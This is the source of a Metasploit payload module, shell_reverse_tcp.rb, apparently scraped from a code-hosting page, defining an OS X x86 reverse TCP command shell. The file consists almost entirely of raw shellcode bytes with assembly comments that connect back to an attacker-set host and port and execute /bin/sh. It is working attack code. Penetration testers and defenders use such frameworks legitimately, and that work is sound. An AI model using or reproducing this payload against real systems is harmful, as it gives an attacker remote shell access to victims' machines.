Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 65910include Msf::Payload::Single11include Msf::Payload::Osx12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'OS X Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'Ramon de C Valle',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_X86,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LHOST' => [ 1, 'ADDR' ],29'LPORT' => [ 8, 'n' ],30},31'Payload' =>32"\x68\x7f\x00\x00\x01" + # pushl $0x0100007f #33"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #34"\x89\xe7" + # movl %esp,%edi #35"\x31\xc0" + # xorl %eax,%eax #36"\x50" + # pushl %eax #37"\x6a\x01" + # pushl $0x01 #38"\x6a\x02" + # pushl $0x02 #39"\x6a\x10" + # pushl $0x10 #40"\xb0\x61" + # movb $0x61,%al #41"\xcd\x80" + # int $0x80 #42"\x57" + # pushl %edi #43"\x50" + # pushl %eax #44"\x50" + # pushl %eax #45"\x6a\x62" + # pushl $0x62 #46"\x58" + # popl %eax #47"\xcd\x80" + # int $0x80 #48"\x50" + # pushl %eax #49"\x6a\x5a" + # pushl $0x5a #50"\x58" + # popl %eax #51"\xcd\x80" + # int $0x80 #52"\xff\x4f\xe8" + # decl -0x18(%edi) #53"\x79\xf6" + # jns <cntsockcode+34> #54"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #55"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #56"\x89\xe3" + # movl %esp,%ebx #57"\x50" + # pushl %eax #58"\x54" + # pushl %esp #59"\x54" + # pushl %esp #60"\x53" + # pushl %ebx #61"\x50" + # pushl %eax #62"\xb0\x3b" + # movb $0x3b,%al #63"\xcd\x80" # int $0x80 #64}65))66end67end686970